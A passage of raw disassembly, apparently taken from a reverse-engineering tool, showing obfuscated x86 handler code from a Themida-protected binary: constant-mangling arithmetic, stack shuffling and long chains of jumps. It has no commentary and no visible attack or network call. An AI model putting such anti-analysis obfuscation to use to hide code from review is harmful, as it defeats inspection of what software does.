mov eax, esi pop esi xor eax, 12EF2F02h sub ecx, eax pop eax sub ecx, edi add ecx, 45F2133Bh jmp loc_5A3514 ; --------------------------------------------------------------------------- loc_59B5EA: ; CODE XREF: Themida_:005A37A5j push esi jmp loc_5A177E ; --------------------------------------------------------------------------- loc_59B5F0: ; CODE XREF: Themida_:0059468Cj mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_59D755 ; --------------------------------------------------------------------------- loc_59B60E: ; CODE XREF: Themida_:0059D494j pop edx jmp loc_5923E7 ; --------------------------------------------------------------------------- loc_59B614: ; CODE XREF: Themida_:00591362j push ebp mov ebp, 46DD6EC8h and edx, ebp pop ebp shl edx, 7 dec edx dec edx add edx, 9148BC06h mov eax, edx jmp loc_594996 ; --------------------------------------------------------------------------- loc_59B62F: ; CODE XREF: Themida_:00596119j sub edi, 6E010DD6h mov ebp, [esp] add esp, 4 push edi pop ebx pop edi and eax, ebx jmp loc_59F094 ; --------------------------------------------------------------------------- loc_59B648: ; CODE XREF: Themida_:00597468j mov [esp], eax push esi push 28066A23h pop esi or esi, 9114A42h jmp loc_59AA1F ; --------------------------------------------------------------------------- loc_59B65D: ; CODE XREF: Themida_:005A23B6j push ebp jmp loc_5A27F2 ; --------------------------------------------------------------------------- loc_59B663: ; CODE XREF: Themida_:0059DA19j xor [esp], ebp xor ebp, [esp] pop esp imul cl jmp loc_59C079 ; --------------------------------------------------------------------------- loc_59B671: ; CODE XREF: Themida_:0059570Ej push eax mov eax, 2 add ebx, eax pop eax jmp loc_599F01 ; --------------------------------------------------------------------------- loc_59B67F: ; CODE XREF: Themida_:005967DFj pop esp mov [esp], esi jmp loc_59B55D ; --------------------------------------------------------------------------- loc_59B688: ; CODE XREF: Themida_:00594272j add esi, 4 jmp loc_59F473 ; --------------------------------------------------------------------------- loc_59B693: ; CODE XREF: Themida_:00592516j push 0A59h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax add esp, 4 push esi mov esi, 4 add eax, 0A1E6306h sub eax, 9285865h jmp loc_590DB0 ; --------------------------------------------------------------------------- loc_59B6BE: ; CODE XREF: Themida_:0059C7EEj add esp, 4 add edx, 4 sub edx, 4 push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_592CBB ; --------------------------------------------------------------------------- push dword ptr [edi+38h] sub esp, 4 jmp loc_590F0D ; --------------------------------------------------------------------------- loc_59B704: ; CODE XREF: Themida_:005A2CDDj push esi push ecx mov ecx, 4 mov esi, ecx jmp loc_59D9CD ; --------------------------------------------------------------------------- loc_59B712: ; CODE XREF: Themida_:005A1ECAj pop ecx jmp loc_590B94 ; --------------------------------------------------------------------------- loc_59B718: ; CODE XREF: Themida_:00596B0Cj pop edx push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A35BA ; --------------------------------------------------------------------------- loc_59B72C: ; CODE XREF: Themida_:00595CFDj add esi, 4 jmp loc_590EF3 ; --------------------------------------------------------------------------- loc_59B737: ; CODE XREF: Themida_:005912FDj add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_5A2C9F ; --------------------------------------------------------------------------- loc_59B74A: ; CODE XREF: Themida_:005955EFj push edx dec dword ptr [esp] jmp loc_5A09D6 ; --------------------------------------------------------------------------- loc_59B753: ; CODE XREF: Themida_:005A4BFCj not dword ptr [esp] pop eax jmp loc_5978F6 ; --------------------------------------------------------------------------- loc_59B75C: ; CODE XREF: Themida_:00594135j mov eax, esi jmp loc_59FB5F ; --------------------------------------------------------------------------- loc_59B763: ; CODE XREF: Themida_:00594051j push edx mov edx, 57034C5Fh jmp loc_5913AD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A0FBE ; --------------------------------------------------------------------------- loc_59B777: ; CODE XREF: Themida_:00598700j sub ebp, 67457446h sub ebp, 1DBC2A52h add ebp, ebx jmp loc_592795 ; --------------------------------------------------------------------------- loc_59B78A: ; CODE XREF: Themida_:00592982j mov esp, [esp] push 2B19h mov [esp], ebp push eax mov eax, esp add eax, 4 push edx mov edx, 4ACC08AAh jmp loc_5995A6 ; --------------------------------------------------------------------------- loc_59B7A8: ; CODE XREF: Themida_:005A5126j add bh, 64h jmp loc_59D24B ; --------------------------------------------------------------------------- loc_59B7B0: ; CODE XREF: Themida_:00596B04j push edi jmp loc_5A26D8 ; --------------------------------------------------------------------------- loc_59B7B6: ; CODE XREF: Themida_:005A14C4j neg bl push ecx mov cl, 0D5h add cl, 1 sub cl, 35h not cl jmp loc_59D961 ; --------------------------------------------------------------------------- loc_59B7C8: ; CODE XREF: Themida_:005995EEj shr bh, 1 jmp loc_5A0919 ; --------------------------------------------------------------------------- loc_59B7CF: ; CODE XREF: Themida_:005910C4j add esp, 4 mov edi, [esp] add esp, 4 jmp loc_59B500 ; --------------------------------------------------------------------------- loc_59B7E3: ; CODE XREF: Themida_:00595274j push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] jmp loc_597312 ; --------------------------------------------------------------------------- loc_59B7FA: ; CODE XREF: Themida_:005A1ADDj and ecx, 7289659Bh or ecx, 21025974h not ecx add ecx, 9A669F6Ch jmp loc_5986BF ; --------------------------------------------------------------------------- mov cx, [esp] push 28AEh mov [esp], edi push 5239h mov [esp], esp push esi jmp loc_5A0E4C ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx push 552h mov [esp], eax jmp loc_5977CA ; --------------------------------------------------------------------------- loc_59B841: ; CODE XREF: Themida_:00593981j add esi, edx push dword ptr [esp] pop edx jmp loc_5917AE ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A04A5 ; --------------------------------------------------------------------------- loc_59B855: ; CODE XREF: Themida_:005916A4j pop esp push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebp push 25h mov [esp], esp jmp loc_59F869 ; --------------------------------------------------------------------------- loc_59B873: ; CODE XREF: Themida_:0059EB13j add edi, ecx jmp loc_59F84A ; --------------------------------------------------------------------------- loc_59B87A: ; CODE XREF: Themida_:0059C2A7j shr edx, 1 cmp eax, edx jz loc_5A1927 sub esp, 4 mov [esp], eax jmp loc_5A54B5 ; --------------------------------------------------------------------------- loc_59B892: ; CODE XREF: Themida_:00593B54j push 6FC3h mov [esp], esi jmp loc_59D0AF ; --------------------------------------------------------------------------- loc_59B89F: ; CODE XREF: Themida_:00598786j add ebx, 0AA1E991Ah jmp loc_5912B7 ; --------------------------------------------------------------------------- loc_59B8AA: ; CODE XREF: Themida_:00592E77j pop ebp jmp loc_5A225E ; --------------------------------------------------------------------------- loc_59B8B0: ; CODE XREF: Themida_:00591D20j mov ecx, esp add ecx, 4 push 236h mov [esp], eax mov eax, 4 sub ecx, 632C5569h add ecx, eax add ecx, 632C5569h pop eax xchg ecx, [esp] mov esp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_59EDBF ; --------------------------------------------------------------------------- loc_59B8E8: ; CODE XREF: Themida_:005A29B1j mov edi, 462F558Bh jmp loc_59DB39 ; --------------------------------------------------------------------------- loc_59B8F2: ; CODE XREF: Themida_:005A08A3j mov [esp], edi mov edi, 76F9552Eh xor ecx, edi pop edi push 3F65h jmp loc_594A53 ; --------------------------------------------------------------------------- loc_59B907: ; CODE XREF: Themida_:005987ABj sub ebp, eax add ebp, 5AA76262h pop eax add ebp, eax jmp loc_590314 ; --------------------------------------------------------------------------- loc_59B917: ; CODE XREF: Themida_:0059BBEBj neg edi or edi, 5D346E3Dh jmp loc_59D956 ; --------------------------------------------------------------------------- loc_59B924: ; CODE XREF: Themida_:00599729j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor eax, 1B6163C9h push esi push 4869h mov [esp], eax pop esi push 435Ch mov [esp], esi pop edx mov esi, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5A19D7 ; --------------------------------------------------------------------------- loc_59B96C: ; CODE XREF: Themida_:00599AA4j mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_592C6E ; --------------------------------------------------------------------------- loc_59B990: ; CODE XREF: Themida_:00595E34j and edi, 1FC9575Bh xor edi, 5BD34845h jmp loc_5A559C ; --------------------------------------------------------------------------- loc_59B9A1: ; CODE XREF: Themida_:00592744j push ecx not dword ptr [esp] pop ecx push ebx mov ebx, 0C117461h or ebx, 6CB84502h not ebx not ebx dec ebx xor ebx, 0BE480DEAh add ecx, ebx pop ebx and ebp, ecx pop ecx jmp loc_594340 ; --------------------------------------------------------------------------- loc_59B9C8: ; CODE XREF: Themida_:0059D1C8j sub esp, 2 mov [esp], dx mov dl, 2Ah sub cl, dl pop dx and cl, 0C3h not cl shl cl, 6 inc cl push ebx mov bl, 15h and bl, 59h sub bl, 0A3h add cl, bl pop ebx jmp loc_597557 ; --------------------------------------------------------------------------- loc_59B9F0: ; CODE XREF: Themida_:0059C93Bj mov esi, 0D0634BBh dec esi push ebx mov ebx, 25DF2E38h xor ebx, 4945351Dh or esi, ebx jmp loc_5A26AC ; --------------------------------------------------------------------------- loc_59BA09: ; CODE XREF: Themida_:005A5053j mov [esp], ecx mov ecx, 21C71C90h jmp loc_59F784 ; --------------------------------------------------------------------------- loc_59BA16: ; CODE XREF: Themida_:0059682Aj mov ecx, [esp] add esp, 4 jmp loc_599B89 ; --------------------------------------------------------------------------- loc_59BA21: ; CODE XREF: Themida_:005979D6j mov dh, ch mov ah, dh mov edx, [esp] jmp loc_598340 ; --------------------------------------------------------------------------- loc_59BA2D: ; CODE XREF: Themida_:00593FB0j xor eax, 6788271Dh jmp loc_5A4DFE ; --------------------------------------------------------------------------- loc_59BA37: ; CODE XREF: Themida_:005A2CB9j sub ebx, 4E84640h pop ecx sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_59FB95 ; --------------------------------------------------------------------------- loc_59BA4F: ; CODE XREF: Themida_:005929A8j pop edx add ch, bl pop ebx push 5A1h mov [esp], edx jmp loc_5938AB ; --------------------------------------------------------------------------- loc_59BA60: ; CODE XREF: Themida_:00598EAAj mov eax, [esp] jmp loc_597D81 ; --------------------------------------------------------------------------- loc_59BA68: ; CODE XREF: Themida_:0059E641j sub edi, esi pop esi mov esi, edi pop edi add ebp, esi mov esi, [esp] add esp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_592A0C ; --------------------------------------------------------------------------- loc_59BAA8: ; CODE XREF: Themida_:00594D10j push ebp mov ebp, 62AB536Ch sub ebp, 62AB5368h push ebx mov ebx, ebp mov esi, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A404A ; --------------------------------------------------------------------------- loc_59BAD0: ; CODE XREF: Themida_:005A0718j not ch push edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx mov bl, ch mov dh, bl mov ebx, [esp] add esp, 4 jmp loc_5A3708 ; --------------------------------------------------------------------------- loc_59BAF8: ; CODE XREF: Themida_:005A2C1Bj add esp, 4 sub ecx, esi push dword ptr [esp] jmp loc_590F6A ; --------------------------------------------------------------------------- loc_59BB08: ; CODE XREF: Themida_:0059CB56j mov dh, 93h add bh, 11h add bh, dh sub bh, 11h pop edx and bh, 0BDh push edx mov dh, 0A1h not dh jmp loc_5A2129 ; --------------------------------------------------------------------------- loc_59BB20: ; CODE XREF: Themida_:0059DCE9j add ebp, ebx pop ebx push ebx mov ebx, 34C74C6Ch jmp loc_5A4480 ; --------------------------------------------------------------------------- loc_59BB2E: ; CODE XREF: Themida_:005983B8j not edi xchg edi, ebx jmp loc_59C481 ; --------------------------------------------------------------------------- loc_59BB37: ; CODE XREF: Themida_:0059F75Aj sub edi, 1 jmp loc_59C498 ; --------------------------------------------------------------------------- loc_59BB42: ; CODE XREF: Themida_:005A2830j add edx, 4 jmp loc_59387A ; --------------------------------------------------------------------------- loc_59BB4A: ; CODE XREF: Themida_:00596570j sub ecx, eax mov eax, [esp] push esi jmp loc_59CAFF ; --------------------------------------------------------------------------- loc_59BB55: ; CODE XREF: Themida_:00591963j add esp, 4 jmp loc_5A35E4 ; --------------------------------------------------------------------------- loc_59BB5D: ; CODE XREF: Themida_:00598426j pop ebx add esi, 75382404h not esi add esi, 4CA5EBB7h xor ecx, esi pop esi add esi, 0B36206Dh sub esi, 4DC60872h add esi, 19542D26h add esi, ecx sub esi, 19542D26h add esi, 4DC60872h push ebx jmp loc_59BDE8 ; --------------------------------------------------------------------------- loc_59BB95: ; CODE XREF: Themida_:0059F77Fj add eax, esi pop esi push edi mov edi, 4 sub eax, edi pop edi xchg eax, [esp] pop esp mov [esp], eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59BBAD: ; CODE XREF: Themida_:0059EF7Dj pop ebx jmp loc_59AD01 ; --------------------------------------------------------------------------- push 471Dh push 0CA0h mov [esp], esp jmp loc_596F04 ; --------------------------------------------------------------------------- loc_59BBC5: ; CODE XREF: Themida_:0059A940j mov fs:[edx], al jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59BBCD: ; CODE XREF: Themida_:0059F826j sub edi, 3CAC4FFBh mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_59B917 ; --------------------------------------------------------------------------- loc_59BBF0: ; CODE XREF: Themida_:005A116Dj sub edx, 0AF8DB7BEh add eax, edx pop edx jmp $+5 xchg eax, [esp] mov esp, [esp] and [esp], al pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59BC0D: ; CODE XREF: Themida_:0059F1A9j shl esi, 2 dec esi or esi, 13EF7ABDh add esi, 2F4FF13Ch xor edx, esi jmp loc_59D132 ; --------------------------------------------------------------------------- loc_59BC24: ; CODE XREF: Themida_:00596722j or edx, 0D2C6BDDh push esi jmp loc_5974B5 ; --------------------------------------------------------------------------- loc_59BC30: ; CODE XREF: Themida_:00595E45j pop ebp mov eax, [esp] add esp, 4 push edx push 0B9A5E8Fh jmp loc_59CEEE ; --------------------------------------------------------------------------- loc_59BC42: ; CODE XREF: Themida_:00596E02j push ebx mov ebx, 28EB554Dh jmp loc_598065 ; --------------------------------------------------------------------------- loc_59BC4D: ; CODE XREF: Themida_:0059211Dj add edi, 4 jmp loc_5A3985 ; --------------------------------------------------------------------------- loc_59BC58: ; CODE XREF: Themida_:0059EC81j mov [esp], edx push esi push 80h pop esi push esi sub dword ptr [esp], 23C25D4Bh pop edx add edx, 23C25D4Bh mov esi, [esp] sub esp, 4 mov [esp], eax push esi mov esi, esp add esi, 4 jmp loc_590ABC ; --------------------------------------------------------------------------- loc_59BC8B: ; CODE XREF: Themida_:00592F25j mov eax, 31D305Ah or eax, 52F330EFh and eax, 58FE6EC8h sub eax, 2BCA0584h add ecx, eax pop eax mov ebp, ecx pop ecx sub dword ptr [esp+8], 0F6F3C3Bh jmp loc_594071 ; --------------------------------------------------------------------------- loc_59BCB2: ; CODE XREF: Themida_:0059BCEAj dec esi add esi, 0B1239437h mov ebp, esi pop esi push ecx jmp loc_593B4F ; --------------------------------------------------------------------------- loc_59BCC2: ; CODE XREF: Themida_:00592472j xor ebp, edx pop edx sub esi, 671D3376h jmp loc_5A38D5 ; --------------------------------------------------------------------------- loc_59BCD0: ; CODE XREF: Themida_:005A1D9Cj pop eax mov [ebx], al pop ebx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59BCD9: ; CODE XREF: Themida_:00598442j mov esi, 29FF0EA0h add esi, 568C4B98h add esi, 31DD1C96h jmp loc_59BCB2 ; --------------------------------------------------------------------------- loc_59BCEF: ; CODE XREF: Themida_:0059D01Bj xor edi, [esp] mov esp, [esp] mov [esp], ax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59BCFE: ; CODE XREF: Themida_:00594C45j mov edi, 4 add ebx, edi jmp loc_5A10A7 ; --------------------------------------------------------------------------- loc_59BD0A: ; CODE XREF: Themida_:005994F6j mov edi, 4 jmp loc_5A2417 ; --------------------------------------------------------------------------- loc_59BD14: ; CODE XREF: Themida_:00598ED0j mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5A03DA ; --------------------------------------------------------------------------- loc_59BD26: ; CODE XREF: Themida_:005A0C70j push dword ptr [esp] mov ebx, [esp] jmp loc_59CB0C ; --------------------------------------------------------------------------- lodsd sub eax, 5A95BAAh push edx push 5618h mov [esp], ebp push 555D6323h pop ebp and ebp, 0B001D27h add ebp, 78C93FE4h xor ebp, 27E435E3h add ebp, 0FD57F6E3h mov edx, ebp jmp loc_5A54E3 ; --------------------------------------------------------------------------- loc_59BD65: ; CODE XREF: Themida_:00595353j mov [esp], eax push 78FC0D04h pop eax sub esp, 4 mov [esp], edx mov edx, 4B21357Eh sub edx, 54ED03FAh push ebx mov ebx, 35034008h xor ebx, 35034009h add edx, ebx pop ebx inc edx jmp loc_59F6F0 ; --------------------------------------------------------------------------- loc_59BD97: ; CODE XREF: Themida_:00596812j add esi, 4 jmp loc_598F97 ; --------------------------------------------------------------------------- loc_59BDA2: ; CODE XREF: Themida_:005928A0j mov ebx, [esp] add esp, 4 jmp loc_5A35CD ; --------------------------------------------------------------------------- loc_59BDB0: ; CODE XREF: Themida_:0059A711j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_59F8B8 ; --------------------------------------------------------------------------- loc_59BDC2: ; CODE XREF: Themida_:0059B216j mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59BDD8: ; CODE XREF: Themida_:00592C43j add esi, edx add esi, 6B4F58C2h mov edx, [esp] jmp loc_59C5C0 ; --------------------------------------------------------------------------- loc_59BDE8: ; CODE XREF: Themida_:0059BB90j mov ebx, 32480AEAh xchg edi, ebx inc edi xchg edi, ebx neg ebx add ebx, 5CF329CDh and ebx, 4A111C6h add ebx, 979713Ah xor ebx, 12CA191h jmp loc_59F6DE ; --------------------------------------------------------------------------- loc_59BE11: ; CODE XREF: Themida_:005A3275j xor ebp, 6BC060F9h inc ebp xor ebp, 680558E7h jmp loc_5A35FA ; --------------------------------------------------------------------------- loc_59BE23: ; CODE XREF: Themida_:00595472j xor ecx, [esp] jmp loc_594512 ; --------------------------------------------------------------------------- loc_59BE2B: ; CODE XREF: Themida_:00591431j push edx mov edx, 30BB3977h and edi, edx pop edx push edi dec dword ptr [esp] mov edi, [esp] add esp, 4 dec edi add edi, 0EF77EEB0h jmp loc_59234B ; --------------------------------------------------------------------------- loc_59BE4D: ; CODE XREF: Themida_:005A4DA8j pop ecx sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 7CC1h mov [esp], eax push 3E4Bh mov [esp], edi mov edi, 5455269Dh push esi mov esi, 3F416FBh not esi shr esi, 8 sub esi, 0F22B9D72h and edi, esi pop esi push ebp jmp loc_594F11 ; --------------------------------------------------------------------------- loc_59BE95: ; CODE XREF: Themida_:005A2CECj mov esp, [esp] jmp loc_5A262B ; --------------------------------------------------------------------------- loc_59BE9D: ; CODE XREF: Themida_:00592935j sub edi, edx push eax mov eax, 5C4D74C4h not eax jmp loc_59949D ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi jmp loc_5A0874 ; --------------------------------------------------------------------------- loc_59BEBE: ; CODE XREF: Themida_:0059DCA7j xor eax, esi pop esi sub eax, 43444E53h xor eax, 487D0E5Ch inc eax add eax, 6F2E1047h jmp loc_59D8B9 ; --------------------------------------------------------------------------- loc_59BED6: ; CODE XREF: Themida_:00594D9Dj add ecx, 6E41370Fh mov edi, [esp] push 78FFh mov [esp], edi jmp loc_59264A ; --------------------------------------------------------------------------- loc_59BEEC: ; CODE XREF: Themida_:005A2C9Aj add ecx, eax pop eax add ecx, 4 jmp loc_592F55 ; --------------------------------------------------------------------------- loc_59BEF7: ; CODE XREF: Themida_:00593083j shr edi, 6 jmp loc_5A56A5 ; --------------------------------------------------------------------------- loc_59BEFF: ; CODE XREF: Themida_:0059D69Dj sub eax, 79EA5875h jmp loc_593B8E ; --------------------------------------------------------------------------- loc_59BF09: ; CODE XREF: Themida_:005999CAj push dword ptr [esp+4] mov ebp, [esp] push edx mov edx, esp jmp loc_599270 ; --------------------------------------------------------------------------- loc_59BF18: ; CODE XREF: Themida_:00590C25j add esp, 2 xor al, bh push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx mov bl, 0D1h sub esp, 4 mov [esp], edx mov dh, cl push edx mov dh, bl jmp loc_5A07AD ; --------------------------------------------------------------------------- loc_59BF4E: ; CODE XREF: Themida_:00595F0Aj push ebp jmp loc_5A4834 ; --------------------------------------------------------------------------- loc_59BF54: ; CODE XREF: Themida_:0059A295j not ebx jmp loc_598E36 ; --------------------------------------------------------------------------- loc_59BF5B: ; CODE XREF: Themida_:005A0B60j push edx push ebp jmp loc_59FB4F ; --------------------------------------------------------------------------- loc_59BF62: ; CODE XREF: Themida_:005903EEj pop ebx push edx push ecx mov cl, 1Bh dec cl shl cl, 6 push bx jmp loc_590B1D ; --------------------------------------------------------------------------- loc_59BF73: ; CODE XREF: Themida_:005918D8j add eax, ebp jmp loc_59AECD ; --------------------------------------------------------------------------- loc_59BF7A: ; CODE XREF: Themida_:0059736Bj push edx mov edx, 9491E77h jmp loc_5A05CE ; --------------------------------------------------------------------------- loc_59BF85: ; CODE XREF: Themida_:0059B228j mov ebp, 127377D0h add ebx, ebp pop ebp sub ebx, 6DB2187Dh add ebx, ecx jmp loc_59AC8A ; --------------------------------------------------------------------------- loc_59BF9A: ; CODE XREF: Themida_:0059A8CCj neg esi add esi, 0FFFFFFFFh push ebp mov ebp, 25BC6E11h or esi, ebp pop ebp push 26FCh jmp loc_592A99 ; --------------------------------------------------------------------------- loc_59BFB2: ; CODE XREF: Themida_:00597559j mov ecx, [esp] add esp, 4 movzx eax, al mov dx, [esp] push 1368h mov [esp], ecx mov ecx, esp push ebx push edx push 0ED2693h pop edx dec edx push eax jmp loc_59E205 ; --------------------------------------------------------------------------- loc_59BFDB: ; CODE XREF: Themida_:00598C6Aj push edi jmp loc_5904F0 ; --------------------------------------------------------------------------- loc_59BFE1: ; CODE XREF: Themida_:0059D51Aj inc ebp shr ebp, 6 xor ebp, 358D7B59h add ebp, 77CF1AC2h jmp loc_599476 ; --------------------------------------------------------------------------- loc_59BFF6: ; CODE XREF: Themida_:005A0DF6j sub edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, 66764949h and ebp, 5B48307Bh neg ebp jmp loc_5942E6 ; --------------------------------------------------------------------------- loc_59C01A: ; CODE XREF: Themida_:005A2857j sub eax, ebp sub eax, 2F181CD2h pop ebp add eax, ebx jmp loc_59251B ; --------------------------------------------------------------------------- loc_59C029: ; CODE XREF: Themida_:005906CFj add esp, 4 not ebp sub esp, 4 mov [esp], esi mov esi, 41702A27h and ebp, esi mov esi, [esp] add esp, 4 add ebp, 0FFF00004h jmp loc_595657 ; --------------------------------------------------------------------------- loc_59C04F: ; CODE XREF: Themida_:005A19D2j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx jmp loc_5A546F ; --------------------------------------------------------------------------- loc_59C060: ; CODE XREF: Themida_:0059392Ej add dword ptr [esp], 4 pop edi add edi, 4 add edi, 2 xor edi, [esp] jmp loc_5A00B8 ; --------------------------------------------------------------------------- loc_59C079: ; CODE XREF: Themida_:0059B66Cj movzx cx, ah push small 252Fh mov [esp], cx jmp loc_593A1B ; --------------------------------------------------------------------------- loc_59C08A: ; CODE XREF: Themida_:00593835j mov edx, 23381FE5h sub edx, 0E802B0B9h jmp loc_59AC59 ; --------------------------------------------------------------------------- loc_59C09A: ; CODE XREF: Themida_:0059E9CDj mov edx, 43167B5Eh shr edx, 1 push ecx mov ecx, 0DE05303h sub ecx, 9AB512ACh xor edx, ecx mov ecx, [esp] jmp loc_59119C ; --------------------------------------------------------------------------- loc_59C0B7: ; CODE XREF: Themida_:00595372j mov dl, bh jmp loc_592028 ; --------------------------------------------------------------------------- loc_59C0BE: ; CODE XREF: Themida_:0059D1BEj dec dword ptr [esp] pop ebp push ecx mov ecx, 0F48C1C16h xor ebp, ecx pop ecx add ecx, ebp jmp loc_5A12EA ; --------------------------------------------------------------------------- loc_59C0D2: ; CODE XREF: Themida_:00591E3Cj push dword ptr [esp] pop esi push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 push edx mov edx, 4 add ebx, edx jmp loc_5A51C4 ; --------------------------------------------------------------------------- loc_59C0F4: ; CODE XREF: Themida_:0059D70Cj add esp, 4 xor eax, esi jmp loc_5981E9 ; --------------------------------------------------------------------------- loc_59C101: ; CODE XREF: Themida_:005A2295j add eax, 4 xchg eax, [esp] jmp loc_596745 ; --------------------------------------------------------------------------- loc_59C10C: ; CODE XREF: Themida_:00593575j push eax mov eax, esp jmp loc_59413A ; --------------------------------------------------------------------------- loc_59C114: ; CODE XREF: Themida_:00592489j xor eax, [esp] xor [esp], eax jmp loc_59D929 ; --------------------------------------------------------------------------- loc_59C11F: ; CODE XREF: Themida_:005980B2j sub esp, 4 mov [esp], ecx mov ch, 0D8h push ax mov al, 0FFh add ch, 0E5h sub ch, al sub ch, 0E5h pop ax add ch, 2Bh add al, 0B0h sub al, ch push 101Eh mov [esp], edx mov dh, 0B0h add al, 99h sub al, dh sub al, 99h mov edx, [esp] push edi mov edi, esp jmp loc_597D20 ; --------------------------------------------------------------------------- loc_59C15A: ; CODE XREF: Themida_:0059D8F1j push 1FFBh mov [esp], edi jmp loc_591750 ; --------------------------------------------------------------------------- loc_59C167: ; CODE XREF: Themida_:0059FB34j xor edx, 599724F6h pop ebp sub edx, 1F227267h jmp loc_59ADC0 ; --------------------------------------------------------------------------- loc_59C179: ; CODE XREF: Themida_:005A15DEj pop esp xchg edi, [esp] jmp loc_590CE9 ; --------------------------------------------------------------------------- loc_59C182: ; CODE XREF: Themida_:0059DEE3j mov [esp], ebp push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5952AB ; --------------------------------------------------------------------------- loc_59C1A8: ; CODE XREF: Themida_:00593725j pop ecx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59FA3A ; --------------------------------------------------------------------------- loc_59C1B9: ; CODE XREF: Themida_:00596A26j pop edi pop ebp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx jmp loc_5A1AE2 ; --------------------------------------------------------------------------- loc_59C1CE: ; CODE XREF: Themida_:005A3C9Fj mov edx, ecx pop ecx pop edi jmp loc_5972CA ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5A034F ; --------------------------------------------------------------------------- loc_59C1F1: ; CODE XREF: Themida_:00597FADj not esi sub esi, 9C7C77D0h sub ecx, esi pop esi add ecx, ebp jmp loc_5A056D ; --------------------------------------------------------------------------- loc_59C203: ; CODE XREF: Themida_:005A28D7j sub ecx, ebp jmp loc_599ACE ; --------------------------------------------------------------------------- loc_59C20A: ; CODE XREF: Themida_:0059F6EBj sub ebp, 75A05348h pop ecx sub ebp, 2 xchg ebp, [esp] mov esp, [esp] jmp loc_59F2D8 ; --------------------------------------------------------------------------- loc_59C222: ; CODE XREF: Themida_:005964FEj add ecx, 0FFFFFFFFh shr ecx, 2 push ebp mov ebp, 11535484h add ecx, 263627E0h sub ecx, 18C32699h sub ecx, 778E54A6h sub ecx, ebp add ecx, 778E54A6h add ecx, 18C32699h push ebp mov ebp, 286B37A5h sub ebp, 75233B54h shr ebp, 8 add ebp, 324C3C94h or ebp, 29582CBFh add ebp, 0EA367B21h jmp loc_59C70B ; --------------------------------------------------------------------------- loc_59C274: ; CODE XREF: Themida_:00599669j add edi, 4 jmp loc_5945EC ; --------------------------------------------------------------------------- loc_59C27C: ; CODE XREF: Themida_:00590BDBj pop edi add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] or edx, eax jmp loc_59ED96 ; --------------------------------------------------------------------------- loc_59C290: ; CODE XREF: Themida_:00594D92j mov edx, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] or ebx, ebx jnz loc_59B87A push 2A93h mov [esp], edx push ecx push ebx mov ebx, 6506466Ah push ebx sub dword ptr [esp], 6D85233Eh pop ecx add ecx, 6D85233Eh mov ebx, [esp] add esp, 4 jmp loc_5A167E ; --------------------------------------------------------------------------- loc_59C2D6: ; CODE XREF: Themida_:00596E41j pop dword ptr [esp] pop esp mov [esp], edx push eax push 57E45D34h pop eax push ecx jmp loc_59C8B0 ; --------------------------------------------------------------------------- loc_59C2EA: ; CODE XREF: Themida_:0059AD77j sub esp, 4 mov [esp], esp jmp loc_593EAA ; --------------------------------------------------------------------------- loc_59C2F5: ; CODE XREF: Themida_:00598C00j add dword ptr [esp], 4 pop eax jmp loc_5A2A36 ; --------------------------------------------------------------------------- loc_59C2FF: ; CODE XREF: Themida_:00597F10j dec edi add edi, 1D2FAEB6h sub ebx, edi pop edi and eax, ebx mov ebx, [esp] 